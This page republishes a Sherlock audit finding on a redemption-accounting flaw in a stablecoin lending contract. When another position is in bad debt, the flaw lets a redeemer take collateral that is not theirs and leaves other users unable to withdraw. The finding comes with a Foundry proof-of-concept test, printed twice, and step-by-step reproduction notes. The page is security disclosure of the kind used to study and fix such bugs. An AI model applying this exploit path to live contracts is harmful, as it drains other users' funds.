Skip to content
Business logic Audit finding Advanced

Accounting will be broken if a user redeems when there is a bad debt position

When a user redeems while another position is in bad debt, the redemption accounting credits more collateral to the redeemer than the contract actually holds. This lets a redeemer take collateral that should not be redeemable and leaves other users unable to withdraw their funds.

0xnija Follow with DevBear0411, Edoscoba and 12 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/1127

Found by

0xnija, DevBear0411, Edoscoba, Proof-of-Spirit, blockace, bughuntoor, deadmanwalking, future, gabkov, itsabinashb, legat, neeloy, touristS, xiaoming90, zcai

Summary

When redeeming, a user repays part of everyone's debt and also gets a proportional part of their collateral. The problem is that in case there's a position in bad debt and a user redeems, accounting will account for redeeming more collateral from that user than they have. This would effectively allow users to redeem non-redeemable collateral and would leave some users impossible to withdraw their funds.

Solidity
       // repay on behalf of free debtors
        totalFreeDebt -= amountIn;
        coin.transferFrom(msg.sender, address(this), amountIn);
        coin.burn(amountIn);

        // distribute collateral redemption per free debt share (in internal representation)
        epochRedeemedCollateral[epoch] += internalAmountOut.mulDivUp(1e36, totalFreeDebtShares);

Assume the following situation - there's two free debt borrowers, one has $500k collateral and $1m debt and other one has $1m collateral and $100k debt. Another user can come and make a redeem for $1.1m and will receive $1.1m collateral. Since the 2nd user only has $100k debt, they should be left with $900k collateral. However, the remaining collateral in the Lender contract would be just $400k. There would be a shortcut of $500k collateral in the contract.

Root Cause

Wrong logic

Internal Pre-conditions

Bad debt

Affected Code

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L463

Attack Path

Check PoC

Solidity
    function test_breakAccounting() public { 
        address user = address(1);
        address user2 = address(2);

        ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
        ERC20Mock coin = ERC20Mock(address(lender.coin()));
        FeedMock feed = FeedMock(address(lender.feed()));

        vm.startPrank(user);
        collateral.mint(user, 1e40);
        coin.mint(user, 1e40);
        collateral.approve(address(lender), type(uint256).max);
        coin.approve(address(lender), type(uint256).max);

        lender.setRedemptionStatus(user, true);
        lender.adjust(user, 1_000_000e18, 500_000e18);

        vm.startPrank(user2);
        collateral.mint(user2, 1_000_000e18);
        collateral.approve(address(lender), type(uint256).max);
        lender.setRedemptionStatus(user2, true);
        lender.adjust(user2, 1_000_000e18, 0);

        feed.setPrice(0.25e18); // $250k bad debt

        vm.startPrank(user);
        lender.redeem(500_000e18 - 1, 0);

        vm.startPrank(user2);
        vm.expectRevert();
        lender.adjust(user2, -1_000_000e18, 0);

    }

Impact

Loss of funds, broken invariants, user cannot withdraw their funds.

PoC

Solidity
    function test_breakAccounting() public { 
        address user = address(1);
        address user2 = address(2);

        ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
        ERC20Mock coin = ERC20Mock(address(lender.coin()));
        FeedMock feed = FeedMock(address(lender.feed()));

        vm.startPrank(user);
        collateral.mint(user, 1e40);
        coin.mint(user, 1e40);
        collateral.approve(address(lender), type(uint256).max);
        coin.approve(address(lender), type(uint256).max);

        lender.setRedemptionStatus(user, true);
        lender.adjust(user, 1_000_000e18, 500_000e18);

        vm.startPrank(user2);
        collateral.mint(user2, 1_000_000e18);
        collateral.approve(address(lender), type(uint256).max);
        lender.setRedemptionStatus(user2, true);
        lender.adjust(user2, 1_000_000e18, 0);

        feed.setPrice(0.25e18); // $250k bad debt

        vm.startPrank(user);
        lender.redeem(500_000e18 - 1, 0);

        vm.startPrank(user2);
        vm.expectRevert();
        lender.adjust(user2, -1_000_000e18, 0);

    }

Mitigation

fix is non-trivial

The original report as published on Sherlock, by 0xnija. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A redeemer could take collateral that should not be redeemable, causing loss of funds and leaving other users unable to withdraw.

What the attacker needed

A position in bad debt exists; attacker holds redeemable debt

The fix

The redemption accounting should be corrected so collateral is only distributed against debt that is actually repayable, but the report states the fix is non-trivial.

How it was found

  1. Set up two borrowers: one with 1m debt and 500k collateral, another with 1m collateral and no debt.
  2. Drop the price so the first borrower is in bad debt.
  3. Have the first borrower redeem almost all of their debt.
  4. Attempt to withdraw the second borrower's full collateral and observe the transaction reverts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A lending contract lets people deposit collateral and borrow a stablecoin. When someone repays debt, they get a share of the collateral back. The report shows that if one borrower is underwater (their debt is worth more than their collateral), the maths for handing out collateral goes wrong, so one person can take more than their fair share and others are left short.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xnija

View all

4 more disclosed reports, best first.

More from Monolith Stablecoin Factory

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.